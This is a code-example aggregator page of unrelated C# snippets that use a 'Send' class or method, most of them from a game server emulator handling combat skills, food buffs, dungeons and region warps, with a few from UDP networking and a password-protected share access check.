        /// <param name="int_"></param>
        /// <param name="dex"></param>
        /// <param name="will"></param>
        /// <param name="luck"></param>
        /// <param name="life"></param>
        /// <param name="mana"></param>
        /// <param name="stamina"></param>
        /// <param name="lifeRecovery"></param>
        /// <param name="manaRecovery"></param>
        /// <param name="staminaRecovery"></param>
        /// <param name="injuryRecovery"></param>
        /// <param name="defense"></param>
        /// <param name="protection"></param>
        protected void Buff(Creature creature, Item item, int timeout, double str = 0, double int_ = 0, double dex = 0, double will = 0, double luck = 0, double life = 0, double mana = 0, double stamina = 0, double lifeRecovery = 0, double manaRecovery = 0, double staminaRecovery = 0, double injuryRecovery = 0, int defense = 0, int protection = 0)
        {
            var source = StatModSource.Food;
            var ident  = item.EntityId;
            var group  = "Food_" + ident;

            // Prepare quality value for the calculations
            // Bonus Formula: floor(dbValue / 200 * (quality + 100))
            var quality = 0;

            if (item.MetaData1.Has("QUAL"))
            {
                quality = item.MetaData1.GetInt("QUAL");
            }
            quality += 100;

            // Before applying the mods/regens, we have to make sure they
            // aren't set yet, to prevent stacking. This would be a job for
            // a cooldown system, which we don't have yet =< TODO.

            if (!creature.StatMods.Has(source, ident))
            {
                if (str != 0)
                {
                    creature.StatMods.Add(Stat.StrMod, (float)Math.Floor(str / 200f * quality), source, ident, timeout);
                }

                if (int_ != 0)
                {
                    creature.StatMods.Add(Stat.IntMod, (float)Math.Floor(int_ / 200f * quality), source, ident, timeout);
                }

                if (dex != 0)
                {
                    creature.StatMods.Add(Stat.DexMod, (float)Math.Floor(dex / 200f * quality), source, ident, timeout);
                }

                if (will != 0)
                {
                    creature.StatMods.Add(Stat.WillMod, (float)Math.Floor(will / 200f * quality), source, ident, timeout);
                }

                if (luck != 0)
                {
                    creature.StatMods.Add(Stat.LuckMod, (float)Math.Floor(luck / 200f * quality), source, ident, timeout);
                }

                if (defense != 0)
                {
                    creature.StatMods.Add(Stat.DefenseMod, (float)Math.Floor(defense / 200f * quality), source, ident, timeout);
                }

                if (protection != 0)
                {
                    creature.StatMods.Add(Stat.ProtectionMod, (float)Math.Floor(protection / 200f * quality), source, ident, timeout);
                }

                if (life != 0)
                {
                    creature.StatMods.Add(Stat.LifeMaxMod, (float)Math.Floor(life / 200f * quality), source, ident, timeout);
                    creature.Life = creature.Life;                     // Cap in case max was reduced
                }

                if (mana != 0)
                {
                    creature.StatMods.Add(Stat.ManaMaxMod, (float)Math.Floor(mana / 200f * quality), source, ident, timeout);
                    creature.Mana = creature.Mana;                     // Cap in case max was reduced
                }

                if (stamina != 0)
                {
                    creature.StatMods.Add(Stat.StaminaMaxMod, (float)Math.Floor(stamina / 200f * quality), source, ident, timeout);
                    creature.Stamina = creature.Stamina;                     // Cap in case max was reduced
                }
            }

            if (!creature.Regens.Has(group))
            {
                if (lifeRecovery != 0)
                {
                    creature.Regens.Add(group, Stat.Life, (float)Math.Floor(lifeRecovery / 200f * quality), creature.LifeInjured, timeout);
                }

                if (manaRecovery != 0)
                {
                    creature.Regens.Add(group, Stat.Mana, (float)Math.Floor(manaRecovery / 200f * quality), creature.ManaMax, timeout);
                }

                if (staminaRecovery != 0)
                {
                    creature.Regens.Add(group, Stat.Stamina, (float)Math.Floor(staminaRecovery / 200f * quality), creature.StaminaMax, timeout);
                }

                if (injuryRecovery != 0)
                {
                    creature.Regens.Add(group, Stat.LifeInjured, (float)Math.Floor(injuryRecovery / 200f * quality), creature.LifeMax, timeout);
                }
            }

            Send.StatUpdate(creature, StatUpdateType.Private,
                            Stat.StrMod, Stat.IntMod, Stat.DexMod, Stat.WillMod, Stat.LuckMod,
                            Stat.Life, Stat.LifeInjured, Stat.LifeMaxMod, Stat.LifeMax,
                            Stat.Mana, Stat.ManaMaxMod, Stat.ManaMax,
                            Stat.Stamina, Stat.StaminaMaxMod, Stat.StaminaMax,
                            Stat.DefenseMod, Stat.ProtectionMod
                            );
            Send.StatUpdate(creature, StatUpdateType.Public, Stat.Life, Stat.LifeInjured, Stat.LifeMaxMod, Stat.LifeMax);
        }
Beispiel #22
0
        /// <summary>
        /// Uses LightningRod
        /// </summary>
        /// <param name="attacker"></param>
        /// <param name="skill"></param>
        /// <param name="packet"></param>
        public void Use(Creature attacker, Skill skill, Packet packet)
        {
            // Set full charge variable
            attacker.Temp.LightningRodFullCharge = (DateTime.Now >= attacker.Temp.LightningRodPrepareTime.AddMilliseconds(skill.RankData.Var3));

            // Get targets in skill area
            Position targetPropPos;
            var      targets = SkillHelper.GetTargetableCreaturesInSkillArea(attacker, SkillLength, SkillWidth, out targetPropPos);

            // TargetProp
            var lProp = new Prop(280, attacker.RegionId, targetPropPos.X, targetPropPos.Y, MabiMath.ByteToRadian(attacker.Direction), 1f, 0f, "single");

            attacker.Region.AddProp(lProp);

            // Prepare Combat Actions
            var cap = new CombatActionPack(attacker, skill.Info.Id);

            var targetAreaId = new Location(attacker.RegionId, targetPropPos).ToLocationId();

            var aAction = new AttackerAction(CombatActionType.SpecialHit, attacker, targetAreaId);

            aAction.Set(AttackerOptions.KnockBackHit1 | AttackerOptions.UseEffect);
            aAction.PropId = lProp.EntityId;
            cap.Add(aAction);

            var rnd = RandomProvider.Get();

            // Check crit
            var crit      = false;
            var critSkill = attacker.Skills.Get(SkillId.CriticalHit);

            if (critSkill != null && critSkill.Info.Rank > SkillRank.Novice)
            {
                var critChance = Math2.Clamp(0, 30, attacker.GetTotalCritChance(0));
                if (rnd.NextDouble() * 100 < critChance)
                {
                    crit = true;
                }
            }

            foreach (var target in targets)
            {
                var tAction = new TargetAction(CombatActionType.TakeHit, target, attacker, SkillId.CombatMastery);
                tAction.Set(TargetOptions.None);
                tAction.AttackerSkillId = skill.Info.Id;
                cap.Add(tAction);

                var damage = attacker.GetRndMagicDamage(skill, skill.RankData.Var1, skill.RankData.Var2);

                // Add damage if the skill is fully charged
                var dmgMultiplier = skill.RankData.Var4 / 100f;
                if (attacker.Temp.LightningRodFullCharge)
                {
                    damage += (damage * dmgMultiplier);
                }

                // Critical Hit
                if (crit)
                {
                    CriticalHit.Handle(attacker, 100, ref damage, tAction);
                }

                // Handle skills and reductions
                SkillHelper.HandleMagicDefenseProtection(target, ref damage);
                SkillHelper.HandleConditions(attacker, target, ref damage);
                var delayReduction = ManaDeflector.Handle(attacker, target, ref damage, tAction);
                ManaShield.Handle(target, ref damage, tAction);

                // Apply Damage
                target.TakeDamage(tAction.Damage = damage, attacker);

                // Stun Time
                tAction.Stun = TargetStun;

                // Death or Knockback
                if (target.IsDead)
                {
                    tAction.Set(TargetOptions.FinishingKnockDown);
                    attacker.Shove(target, KnockbackDistance);
                }
                else
                {
                    // Always knock down
                    if (target.Is(RaceStands.KnockDownable))
                    {
                        tAction.Set(TargetOptions.KnockDown);
                        attacker.Shove(target, KnockbackDistance);
                    }
                }
            }

            // Update current weapon
            SkillHelper.UpdateWeapon(attacker, targets.FirstOrDefault(), ProficiencyGainType.Melee, attacker.RightHand);

            cap.Handle();

            Send.Effect(attacker, Effect.LightningRod, LightningRodEffect.Attack, targetPropPos.X, targetPropPos.Y);

            Send.SkillUse(attacker, skill.Info.Id, targetAreaId, 0, 1);
            skill.Train(1);             // Use the Skill

            attacker.Region.RemoveProp(lProp);
        }
Beispiel #23
0
        public bool SendHandlers(object message)
        {
            var send = message as Send;

            if (send != null && HasWritePending)
            {
                if (Udp.Setting.TraceLogging)
                {
                    _log.Debug("Dropping write because queue is full");
                }
                Sender.Tell(new CommandFailed(send));
                return(true);
            }
            if (send != null)
            {
                if (send.HasData)
                {
                    _pendingSend      = send;
                    _pendingCommander = Sender;

                    var e   = Udp.SocketEventArgsPool.Acquire(Self);
                    var dns = send.Target as DnsEndPoint;
                    if (dns != null)
                    {
                        var resolved = Dns.ResolveName(dns.Host, Context.System, Self);
                        if (resolved != null)
                        {
                            try
                            {
                                _pendingSend = new Send(_pendingSend.Payload, new IPEndPoint(resolved.Addr, dns.Port), _pendingSend.Ack);
                                DoSend(e);
                            }
                            catch (Exception ex)
                            {
                                Sender.Tell(new CommandFailed(send));
                                _log.Debug("Failure while sending UDP datagram to remote address [{0}]: {1}",
                                           send.Target, ex);
                                _retriedSend      = false;
                                _pendingSend      = null;
                                _pendingCommander = null;
                            }
                        }
                    }
                    else
                    {
                        DoSend(e);
                    }
                }
                else
                {
                    if (send.WantsAck)
                    {
                        Sender.Tell(send.Ack);
                    }
                }

                return(true);
            }
            if (message is SocketSent)
            {
                var sent = (SocketSent)message;
                if (sent.EventArgs.SocketError == SocketError.Success)
                {
                    if (Udp.Setting.TraceLogging)
                    {
                        _log.Debug("Wrote [{0}] bytes to channel", sent.EventArgs.BytesTransferred);
                    }

                    var nextSend = _pendingSend.Advance();
                    if (nextSend.HasData)
                    {
                        Self.Tell(nextSend);
                    }
                    else
                    {
                        if (_pendingSend.WantsAck)
                        {
                            _pendingCommander.Tell(_pendingSend.Ack);
                        }

                        _retriedSend      = false;
                        _pendingSend      = null;
                        _pendingCommander = null;
                    }
                }
                else
                {
                    if (_retriedSend)
                    {
                        _pendingCommander.Tell(new CommandFailed(_pendingSend));
                        _retriedSend      = false;
                        _pendingSend      = null;
                        _pendingCommander = null;
                    }
                    else
                    {
                        DoSend(sent.EventArgs);
                        _retriedSend = true;
                    }
                }
                return(true);
            }
            return(false);
        }
Beispiel #24
0
        /// <summary>
        /// Bolt specific use code.
        /// </summary>
        /// <param name="attacker"></param>
        /// <param name="skill"></param>
        /// <param name="target"></param>
        protected override void UseSkillOnTarget(Creature attacker, Skill skill, Creature target)
        {
            attacker.StopMove();
            target.StopMove();

            // Create actions
            var aAction = new AttackerAction(CombatActionType.RangeHit, attacker, target.EntityId);

            aAction.Set(AttackerOptions.Result);

            var tAction = new TargetAction(CombatActionType.TakeHit, target, attacker, skill.Info.Id);

            tAction.Set(TargetOptions.Result);
            tAction.Stun = TargetStun;

            var cap = new CombatActionPack(attacker, skill.Info.Id, aAction, tAction);

            // Damage
            var damage = this.GetDamage(attacker, skill);

            // Elements
            damage *= this.GetElementalDamageMultiplier(attacker, target);

            // Critical Hit
            var critChance = attacker.GetTotalCritChance(target.Protection, true);

            CriticalHit.Handle(attacker, critChance, ref damage, tAction);

            // Reduce damage
            Defense.Handle(aAction, tAction, ref damage);
            SkillHelper.HandleMagicDefenseProtection(target, ref damage);
            SkillHelper.HandleConditions(attacker, target, ref damage);
            ManaShield.Handle(target, ref damage, tAction);

            // Mana Deflector
            var mdResult       = ManaDeflector.Handle(attacker, target, ref damage, tAction);
            var delayReduction = mdResult.DelayReduction;
            var pinged         = mdResult.Pinged;

            // Deal damage
            if (damage > 0)
            {
                target.TakeDamage(tAction.Damage = damage, attacker);
            }
            target.Aggro(attacker);

            // Knock down on deadly
            if (target.Conditions.Has(ConditionsA.Deadly))
            {
                tAction.Set(TargetOptions.KnockDown);
                tAction.Stun = TargetStun;
            }

            // Reduce stun, based on ping
            if (pinged && delayReduction > 0)
            {
                tAction.Stun = (short)Math.Max(0, tAction.Stun - (tAction.Stun / 100 * delayReduction));
            }

            // Death/Knockback
            if (target.IsDead)
            {
                tAction.Set(TargetOptions.FinishingKnockDown);
            }
            else
            {
                // If knocked down, instant recovery,
                // if repeat hit, knock down,
                // otherwise potential knock back.
                if (target.IsKnockedDown)
                {
                    tAction.Stun = 0;
                }
                else if (target.Stability < MinStability)
                {
                    tAction.Set(TargetOptions.KnockDown);
                }
                else
                {
                    var stabilityReduction = StabilityReduction;

                    // Reduce reduction, based on ping
                    // While the Wiki says that "the Knockdown Gauge [does not]
                    // build up", tests show that it does. However, it's
                    // reduced, assumedly based on the MD rank.
                    if (delayReduction > 0)
                    {
                        stabilityReduction = (short)Math.Max(0, stabilityReduction - (stabilityReduction / 100 * delayReduction));
                    }

                    target.Stability -= stabilityReduction;

                    if (target.IsUnstable)
                    {
                        tAction.Set(TargetOptions.KnockBack);
                    }
                }
            }

            if (tAction.IsKnockBack)
            {
                attacker.Shove(target, KnockbackDistance);
            }

            // Override stun set by defense
            aAction.Stun = AttackerStun;

            Send.Effect(attacker, Effect.UseMagic, EffectSkillName);
            Send.SkillUseStun(attacker, skill.Info.Id, aAction.Stun, 1);

            skill.Stacks--;

            // Update current weapon
            SkillHelper.UpdateWeapon(attacker, target, ProficiencyGainType.Melee, attacker.RightHand);

            cap.Handle();
        }
Beispiel #25
0
        /// <summary>
        /// Change finishing rule.
        /// </summary>
        /// <param name="rule"></param>
        public void ChangeFinish(PartyFinishRule rule)
        {
            this.Finish = rule;

            Send.PartyFinishUpdate(this);
        }
Beispiel #26
0
        /// <summary>
        /// Checks if creature is able to enter a dungeon with the given item,
        /// at his current position, if so, a dungeon is created and the
        /// party is moved inside.
        /// </summary>
        /// <param name="creature"></param>
        /// <param name="item"></param>
        /// <returns></returns>
        public bool CheckDrop(Creature creature, Item item)
        {
            var currentRegionId = creature.RegionId;

            if (!_entryRegionIds.Contains(currentRegionId))
            {
                return(false);
            }

            var pos = creature.GetPosition();

            var clientEvent = creature.Region.GetClientEvent(a => a.Data.IsAltar);

            if (clientEvent == null)
            {
                Log.Warning("DungeonManager.CheckDrop: No altar found.");
                return(false);
            }

            if (!clientEvent.IsInside(pos.X, pos.Y))
            {
                // Tell player to step on altar?
                return(false);
            }

            var parameter = clientEvent.Data.Parameters.FirstOrDefault(a => a.EventType == EventType.Altar);

            if (parameter == null || parameter.XML == null || parameter.XML.Attribute("dungeonname") == null)
            {
                Log.Warning("DungeonManager.CheckDrop: No dungeon name found in altar event '{0:X16}'.", clientEvent.EntityId);
                return(false);
            }

            var dungeonName = parameter.XML.Attribute("dungeonname").Value.ToLower();

            // Check script
            var dungeonScript = ChannelServer.Instance.ScriptManager.DungeonScripts.Get(dungeonName);

            if (dungeonScript == null)
            {
                Send.ServerMessage(creature, "This dungeon hasn't been added yet.");
                Log.Warning("DungeonManager.CheckDrop: No routing dungeon script found for '{0}'.", dungeonName);
                return(false);
            }

            // Check route
            if (!dungeonScript.Route(creature, item, ref dungeonName))
            {
                // The response in case of a fail is handled by the router.
                return(false);
            }

            // Check party
            if (creature.IsInParty && creature.Party.Leader != creature)
            {
                // Unofficial
                Send.Notice(creature, Localization.Get("Only the leader may create the dungeon."));
                return(false);
            }

            return(this.CreateDungeonAndWarp(dungeonName, item.Info.Id, creature));
        }
Beispiel #27
0
        public Mix(string baseAddress)
        {
            _baseAddress = baseAddress + "mix/";

            Send = new Send(_baseAddress);
        }
Beispiel #28
0
        public void SkillReady(ChannelClient client, Packet packet)
        {
            var skillId = (SkillId)packet.GetUShort();

            var creature = client.GetCreatureSafe(packet.Id);

            var skill = creature.Skills.GetSafe(skillId);

            var handler = ChannelServer.Instance.SkillManager.GetHandler <IReadyable>(skillId);

            if (handler == null)
            {
                Log.Unimplemented("SkillReady: Skill handler or interface for '{0}'.", skillId);
                Send.ServerMessage(creature, Localization.Get("This skill isn't implemented yet."));
                // Cancel?
                return;
            }

            // Can only ready prepared skills
            if (skill.State != SkillState.Prepared)
            {
                Log.Error("SkillReady: Skill '{0}' wasn't prepared first.", skillId);
                Send.ServerMessage(creature, Localization.Get("Error: Skill wasn't prepared."));
                // Cancel?
                return;
            }

            // Check if cast is over
            if (skill.CastEnd > DateTime.Now)
            {
                // Only an error for now, unsure if this could happen accidentally.
                Log.Error("SkillReady: Skill '{0}' wasn't fully casted yet.", skillId);
                Send.ServerMessage(creature, Localization.Get("Error: Skill wasn't fully casted yet."));
                // Cancel?
                return;
            }

            try
            {
                creature.Unlock(Locks.All);
                creature.Lock(Locks.ChangeEquipment | Locks.UseItem | Locks.Attack | Locks.TalkToNpc | Locks.Gesture);
                creature.Lock(skill.Data.ReadyLock);
                creature.Unlock(skill.Data.ReadyUnlock);

                var success = handler.Ready(creature, skill, packet);
                if (!success)
                {
                    creature.Unlock(Locks.All);
                    // Cancel?
                    return;
                }

                // Constant Mana/Stamina reduction, for the duration
                // of Ready. Example: Counterattack
                if (skill.RankData.ManaWait != 0)
                {
                    creature.Regens.Add("ActiveSkillWait", Stat.Mana, creature.GetAdjustedManaCost(skill.RankData.ManaWait), creature.ManaMax);
                }
                if (skill.RankData.StaminaWait != 0)
                {
                    creature.Regens.Add("ActiveSkillWait", Stat.Stamina, skill.RankData.StaminaWait, creature.StaminaMax);
                }

                skill.State = SkillState.Ready;
            }
            catch (NotImplementedException)
            {
                creature.Unlock(Locks.All);
                Log.Unimplemented("SkillReady: Skill ready method for '{0}'.", skillId);
                Send.ServerMessage(creature, Localization.Get("This skill isn't implemented completely yet."));
                // Cancel?
            }
        }
Beispiel #29
0
		// Return if there is more to come.
		public static bool ProcessLanesSend(LaneSetup setup, Lane[] lanes, DateTime now, Send[] output, out uint numOut)
		{
			numOut = 0;
			for (int i=0;i<lanes.Length;i++)
			{
				Lane lane = lanes[i];
				int holes = 0;
				for (int j=0;j<lane.OutCount;j++)
				{
					if (lane.Out[j].Source == null)
					{
						holes++;
						continue;
					}
					if (lane.Out[j].SendTime <= now)
					{
						lane.Stats.SendCount++;
						lane.Out[j].SendCount++;
						if (lane.Out[j].SendCount > 1)
						{
							lane.Stats.SendResends++;
						}

						uint resendMsAdd = lane.Out[j].SendCount * lane.Out[j].SendCount * lane.ResendMs;
						if (resendMsAdd > 5000)
						{
							resendMsAdd = 5000;
						}

						lane.Out[j].SendTime = lane.Out[j].SendTime.AddMilliseconds(resendMsAdd);

						Bitstream.Buffer tmp = setup.Factory.GetBuffer(setup.MaxPacketSize);
						tmp.bytepos = setup.ReservedHeaderBytes;

						Bitstream.PutBits(tmp, 1, lane.Out[j].Reliable ? 1u : 0u);
						Bitstream.PutCompressedUint(tmp, lane.Out[j].SeqId);

						if (lane.Out[j].Reliable)
						{
							Bitstream.PutBits(tmp, 1, lane.Out[j].IsFinalPiece ? 1u : 0u);

							// flush out a max number of acks or all.
							int wrote = 0;
							for (int k=0;k<lane.AckCount && k < 4;k++)
							{
								Bitstream.PutCompressedUint(tmp, lane.Acks[k]);
								wrote++;
							}
							Bitstream.PutCompressedUint(tmp, 0);
							for (int k=0;k<(int)lane.AckCount - wrote;k++)
							{
								lane.Acks[k] = lane.Acks[k + wrote];
							}
							lane.AckCount = (ushort)(lane.AckCount - wrote);
						}

						Bitstream.SyncByte(tmp);

						uint begin = lane.Out[j].Begin;
						uint end = lane.Out[j].End;
						uint ofs = tmp.bytepos;
						byte[] src = lane.Out[j].Source.buf;
						byte[] dst = tmp.buf;
						for (uint k=begin;k!=end;k++)
						{
							dst[ofs++] = src[k];
						}
						tmp.bytepos = 0;
						tmp.bitpos = 0;
						tmp.bytesize = ofs;
						tmp.bitsize = 0;
						output[numOut].Data = tmp;
						output[numOut].Lane = lane;
						lane.Stats.SendBytes += ofs;
						if (++numOut == output.Length)
						{
							return true;
						}
					}
				}

				if (holes > 0 && holes >= lane.OutCount / 4)
				{
					ushort write = 0;
					for (uint j=0;j<lane.OutCount;j++)
					{
						if (lane.Out[j].Source != null)
						{
							if (write != j)
							{
								lane.Out[write] = lane.Out[j];
							}
							++write;
						}
					}
					lane.OutCount = write;
				}
			}

			// Unsent acks
			for (int i=0;i<lanes.Length;i++)
			{
				Lane lane = lanes[i];
				if (lane.AckCount > 0)
				{
					Bitstream.Buffer tmp = setup.Factory.GetBuffer(setup.MaxPacketSize);
					tmp.bytepos = setup.ReservedHeaderBytes;
					Bitstream.PutBits(tmp, 1, 1); // reliable
					Bitstream.PutCompressedUint(tmp, 0); // ack only
					Bitstream.PutBits(tmp, 1, 1); // final

					for (int k=0;k<lane.AckCount;k++)
					{
						Bitstream.PutCompressedUint(tmp, lane.Acks[k]);
					}

					Bitstream.PutCompressedUint(tmp, 0);
					lane.AckCount = 0;
					Bitstream.SyncByte(tmp);
					tmp.Flip();
					output[numOut].Data = tmp;
					output[numOut].Lane = lane;

					lane.Stats.SendCount++;
					lane.Stats.SendAckOnly++;
					lane.Stats.SendBytes += tmp.bytesize;

					if (++numOut == output.Length)
					{
						return true;
					}
				}
			}

			return false;
		}
Beispiel #30
0
        public void SkillComplete(ChannelClient client, Packet packet)
        {
            var skillId = (SkillId)packet.GetUShort();

            var creature = client.GetCreatureSafe(packet.Id);

            var skill = creature.Skills.GetSafe(skillId);

            var handler = ChannelServer.Instance.SkillManager.GetHandler <ICompletable>(skillId);

            if (handler == null)
            {
                Log.Unimplemented("SkillComplete: Skill handler or interface for '{0}'.", skillId);
                Send.ServerMessage(creature, Localization.Get("This skill isn't implemented yet."));
                // Cancel?
                goto L_End;
            }

            try
            {
                // Some (un)locks for Complete in the db don't make sense
                // under the assumption that everything is unlocked each state.
                // Either the devs didn't know how all this worked anymore
                // or there might be locks that aren't lifted between Prepare
                // and Complete, which would make sense.
                // And why is anything locked in Complete, when it has
                // to be unlocked right after the handler call anyway?
                // There are 16 non-G1 skills that (un)lock something on complete
                // though, ignore for now and keep researching.
                creature.Unlock(Locks.All);
                creature.Lock(Locks.ChangeEquipment | Locks.Attack);
                creature.Lock(skill.Data.CompleteLock);
                creature.Unlock(skill.Data.CompleteLock);

                handler.Complete(creature, skill, packet);
                ChannelServer.Instance.Events.OnPlayerUsedSkill(creature, skill);
            }
            catch (NotImplementedException)
            {
                creature.Unlock(Locks.All);
                Log.Unimplemented("SkillComplete: Skill complete method for '{0}'.", skillId);
                Send.ServerMessage(creature, Localization.Get("This skill isn't implemented completely yet."));
                // Cancel?
            }

L_End:
            if (skill.Stacks == 0)
            {
                // Reset active skill if all stacks are used up
                creature.Skills.ActiveSkill = null;
                skill.State = SkillState.Completed;

                if (skill.RankData.CoolDown != 0)
                {
                    // Reset cooldown in old combat system, if the skill has a
                    // "new-system-cooldown". That check is important,
                    // there were cooldowns in the old system, like for FH,
                    // but they didn't use the CoolDown field.
                    if (!AuraData.FeaturesDb.IsEnabled("CombatSystemRenewal"))
                    {
                        Send.ResetCooldown(creature, skill.Info.Id);
                    }

                    // else TODO: Set skill's cooldown for security reasons.
                }

                // Unlock everything once we're done?
                creature.Unlock(Locks.All);
            }
            else if (skill.State != SkillState.Canceled)
            {
                // Ready again if it wasn't canceled and it has stacks left
                // (e.g. Final Hit is canceled if you attack a countering enemy)
                Send.SkillReady(creature, skill.Info.Id);
                skill.State = SkillState.Ready;

                // We're basically going back into ready, use its locks?
                creature.Unlock(Locks.All);
                creature.Lock(Locks.ChangeEquipment | Locks.UseItem | Locks.Attack | Locks.TalkToNpc | Locks.Gesture);
                creature.Lock(skill.Data.ReadyLock);
                creature.Unlock(skill.Data.ReadyUnlock);
            }
        }
Beispiel #31
0
 public ActionResult Add(Send model)
 {
     _service.Add(model);
     return Json("T");
 }
Beispiel #32
0
        /// <summary>
        /// Changes exp sharing rule.
        /// </summary>
        /// <param name="rule"></param>
        public void ChangeExp(PartyExpSharing rule)
        {
            this.ExpRule = rule;

            Send.PartyExpUpdate(this);
        }
Beispiel #33
0
        public void EnterRegionRequest(ChannelClient client, Packet packet)
        {
            var creature   = client.GetCreatureSafe(packet.Id);
            var firstSpawn = (creature.Region == Region.Limbo);
            var regionId   = creature.WarpLocation.RegionId;

            // Check permission
            // This can happen from time to time, client lag?
            if (!creature.Warping)
            {
                Log.Warning("Unauthorized warp attemp from '{0}'.", creature.Name);
                return;
            }

            creature.Warping = false;

            // Get region
            var region = ChannelServer.Instance.World.GetRegion(regionId);

            if (region == null)
            {
                Log.Warning("Player '{0}' tried to enter unknown region '{1}'.", creature.Name, regionId);
                return;
            }

            // Characters that spawned at least once need to be saved.
            var playerCreature = creature as PlayerCreature;

            if (playerCreature != null)
            {
                playerCreature.Save = true;
            }

            // Remove creature from previous region.
            if (creature.Region != Region.Limbo)
            {
                creature.Region.RemoveCreature(creature);
            }

            // Add to region
            creature.SetLocation(creature.WarpLocation);
            region.AddCreature(creature);

            // Unlock and warp
            creature.Unlock(Locks.Default, true);
            if (firstSpawn)
            {
                Send.EnterRegionRequestR(client, creature);
            }
            else
            {
                Send.WarpRegion(creature);
            }

            // Activate AIs around spawn
            var pos = creature.GetPosition();

            creature.Region.ActivateAis(creature, pos, pos);

            // Warp pets and other creatures as well
            foreach (var cr in client.Creatures.Values.Where(a => a.RegionId != creature.RegionId))
            {
                cr.Warp(creature.RegionId, pos.X, pos.Y);
            }

            // Automatically done by the world update
            //Send.EntitiesAppear(client, region.GetEntitiesInRange(creature));
        }
 private Akka.Cluster.PubSub.Serializers.Proto.Send SendToProto(Send send)
 {
     return Akka.Cluster.PubSub.Serializers.Proto.Send.CreateBuilder()
         .SetPath(send.Path)
         .SetLocalAffinity(send.LocalAffinity)
         .SetPayload(PayloadToProto(send.Message))
         .Build();
 }
Beispiel #35
0
 public override void OnReceiveDrawChart(object sender, SendConsecutive e)
 {
     Send?.Invoke(this, new SendSecuritiesAPI(e.Date));
 }
Beispiel #36
0
        /// <summary>
        /// Handles usage of the skill.
        /// </summary>
        /// <param name="attacker"></param>
        /// <param name="target"></param>
        public void Use(Creature attacker, Creature target)
        {
            // Updating unlock because of the updating lock for pre-renovation
            // Has to be done here because we can't have an updating unlock
            // after the combat action, it resets the stun.
            if (!AuraData.FeaturesDb.IsEnabled("TalentRenovationCloseCombat"))
            {
                attacker.Unlock(Locks.Move, true);
            }

            var skill = attacker.Skills.Get(SkillId.Counterattack);

            var aAction = new AttackerAction(CombatActionType.RangeHit, attacker, target.EntityId);

            aAction.Options |= AttackerOptions.Result | AttackerOptions.KnockBackHit2;

            var tAction = new TargetAction(CombatActionType.CounteredHit2, target, attacker, skill.Info.Id);

            tAction.Options |= TargetOptions.Result | TargetOptions.Smash;

            var cap = new CombatActionPack(attacker, skill.Info.Id);

            cap.Add(aAction, tAction);

            var damage =
                (attacker.GetRndTotalDamage() * (skill.RankData.Var2 / 100f)) +
                (target.GetRndTotalDamage() * (skill.RankData.Var1 / 100f));

            // Elementals
            damage *= attacker.CalculateElementalDamageMultiplier(target);

            // Critical Hit
            var critChance = attacker.GetTotalCritChance(target.Protection) + skill.RankData.Var3;

            CriticalHit.Handle(attacker, critChance, ref damage, tAction, true);

            // Subtract target def/prot
            SkillHelper.HandleDefenseProtection(target, ref damage, true, true);

            // Conditions
            SkillHelper.HandleConditions(attacker, target, ref damage);

            // Mana Shield
            ManaShield.Handle(target, ref damage, tAction);

            // Heavy Stander
            HeavyStander.Handle(attacker, target, ref damage, tAction);

            // Deal with it!
            if (damage > 0)
            {
                target.TakeDamage(tAction.Damage = damage, attacker);
                SkillHelper.HandleInjury(attacker, target, damage);
            }

            target.Aggro(attacker);

            if (target.IsDead)
            {
                tAction.Options |= TargetOptions.FinishingKnockDown;
            }

            aAction.Stun = StunTime;
            tAction.Stun = StunTime;

            target.Stability = Creature.MinStability;
            attacker.Shove(target, KnockbackDistance);

            // Update both weapons
            SkillHelper.UpdateWeapon(attacker, target, ProficiencyGainType.Melee, attacker.RightHand, attacker.LeftHand);

            Send.SkillUseStun(attacker, skill.Info.Id, StunTime, 1);

            this.Training(aAction, tAction);

            cap.Handle();
        }
Beispiel #37
0
        public (bool grant, bool passwordRequiredError, bool passwordInvalidError) SendCanBeAccessed(Send send,
                                                                                                     string password)
        {
            var now = DateTime.UtcNow;

            if (send == null || send.MaxAccessCount.GetValueOrDefault(int.MaxValue) <= send.AccessCount ||
                send.ExpirationDate.GetValueOrDefault(DateTime.MaxValue) < now || send.Disabled ||
                send.DeletionDate < now)
            {
                return(false, false, false);
            }
            if (!string.IsNullOrWhiteSpace(send.Password))
            {
                if (string.IsNullOrWhiteSpace(password))
                {
                    return(false, true, false);
                }
                var passwordResult = _passwordHasher.VerifyHashedPassword(new User(), send.Password, password);
                if (passwordResult == PasswordVerificationResult.SuccessRehashNeeded)
                {
                    send.Password = HashPassword(password);
                }
                if (passwordResult == PasswordVerificationResult.Failed)
                {
                    return(false, false, true);
                }
            }

            return(true, false, false);
        }
Beispiel #38
0
 public ActionResult Edit(Send model)
 {
     _service.Edit(model);
     return Json("T");
 }
		public void RunSend (Send sendDelegate, IMessage msg)
		{
			lock (syncObj) {
				sendDelegate (ref host, ref cn, ref model, msg, Id);
			}
		}